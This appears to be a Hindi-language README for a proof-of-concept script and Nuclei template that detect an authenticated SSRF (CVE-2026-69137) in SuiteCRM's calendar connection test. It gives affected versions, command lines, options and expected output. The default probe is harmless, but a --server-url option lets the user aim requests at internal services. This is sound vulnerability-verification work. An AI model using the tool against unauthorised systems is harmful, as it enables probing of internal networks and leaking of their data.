CVE-2026-69137 - SuiteCRM प्रमाणित SSRF

CalendarAccount/testConnection एंडपॉइंट और caldav_basic प्रदाता के माध्यम से SuiteCRM के लिए प्रमाणित सर्वर-साइड रिक्वेस्ट फ़ॉर्जरी प्रूफ़ ऑफ़ कॉन्सेप्ट।

सारांश

प्रभावित SuiteCRM संस्करण एक प्रमाणित उपयोगकर्ता के server_url को स्वीकार करते हैं और गंतव्य को सत्यापित किए बिना इसे cURL को पास कर देते हैं। यह लूपबैक या आंतरिक HTTP सेवाओं के लिए सर्वर-साइड अनुरोधों को सक्षम बनाता है। कमज़ोर रिलीज़ में, विफल कनेक्शन प्रतिक्रिया त्रुटि संदेश में प्राप्त सेवा का प्रतिक्रिया डेटा भी प्रकट कर सकती है।

PoC एक वैध SuiteCRM खाते के साथ प्रमाणित होता है और एक नियंत्रित URL का अनुरोध करता है। इसका डिफ़ॉल्ट गंतव्य, http://127.0.0.1:1/, एक बंद लूपबैक पोर्ट है: यह सिद्ध करता है कि SuiteCRM ने किसी बाहरी सेवा का अनुरोध किए बिना सर्वर-साइड कनेक्शन का प्रयास किया।

प्रभावित संस्करण

• कमज़ोर: SuiteCRM <= 7.15.1 और <= 8.10.1
• ठीक किया गया: SuiteCRM 7.15.2 और 8.10.2
• सलाहकार: https://github.com/SuiteCRM/SuiteCRM/security/advisories/GHSA-72r3-24x4-j46c
• CVE: CVE-2026-69137
• CWE: CWE-918

आवश्यकताएँ

• Python 3
• वैध SuiteCRM क्रेडेंशियल या एक प्रमाणित सत्र कुकी
• SuiteCRM इंस्टेंस और --server-url के साथ दिए गए किसी भी गंतव्य का परीक्षण करने का प्राधिकरण

किसी तृतीय-पक्ष Python पैकेज की आवश्यकता नहीं है।

उपयोग

SuiteCRM के विरुद्ध बुनियादी स्थानीय सत्यापन:

python3 CVE-2026-69137.py \
  -u http://127.0.0.1:8081 \
  -U admin \
  -P 'password'

मौजूदा प्रमाणित सत्र का उपयोग करें:

python3 CVE-2026-69137.py \
  -u https://suitecrm.example \
  --cookie 'PHPSESSID=value'

किसी अधिकृत आंतरिक या नियंत्रित गंतव्य का परीक्षण करें:

python3 CVE-2026-69137.py \
  -u https://suitecrm.example \
  -U user \
  -P 'password' \
  --server-url http://127.0.0.1:8080/

विकल्प

-u, --url                 SuiteCRM बेस URL
-U, --username            SuiteCRM उपयोगकर्ता नाम
-P, --password            SuiteCRM पासवर्ड
--cookie                  प्रमाणित SuiteCRM Cookie हेडर मान
--server-url              SuiteCRM द्वारा प्राप्त किया जाने वाला URL; डिफ़ॉल्ट: http://127.0.0.1:1/
--timeout                 HTTP टाइमआउट सेकंड में; डिफ़ॉल्ट: 35
-k, --insecure            TLS प्रमाणपत्र सत्यापन अक्षम करें

अपेक्षित आउटपुट

कमज़ोर संस्करण दिए गए URL को संसाधित करने के बाद कनेक्शन परीक्षण विफलता लौटाते हैं:

[*] Authenticating with SuiteCRM legacy login...
[*] Sending testConnection request with server_url=http://127.0.0.1:1/
[!] Vulnerable behavior confirmed: SuiteCRM processed the supplied server_url.
    Server message: Connection test failed. Network error: Failed to connect to 127.0.0.1 port 1 ...

पैच किए गए संस्करण कनेक्शन का प्रयास करने से पहले अस्वीकृत गंतव्यों को अस्वीकार कर देते हैं:

[+] Target rejected the supplied URL; the SSRF fix appears to be present.

Nuclei टेम्पलेट

CVE-2026-69137.yaml username और password के साथ प्रमाणित होता है, SuiteCRM सत्र का पुनः उपयोग करता है, और वही बंद-लूपबैक प्रोब करता है:

nuclei -u https://suitecrm.example \
  -t CVE-2026-69137.yaml \
  -var username=user \
  -var password='password'

टेम्पलेट को इसके साथ मान्य किया गया था:

nuclei -validate -t CVE-2026-69137.yaml

नोट्स

• --server-url का उपयोग केवल उन गंतव्यों के विरुद्ध करें जिनका परीक्षण करने के लिए आप अधिकृत हैं।
• डिफ़ॉल्ट लूपबैक प्रोब जानबूझकर गैर-विनाशकारी है और किसी बाहरी सेवा से संपर्क नहीं करता है।
• टेम्पलेट सबमिशन https://github.com/projectdiscovery/nuclei-templates/pull/17335 पर उपलब्ध है।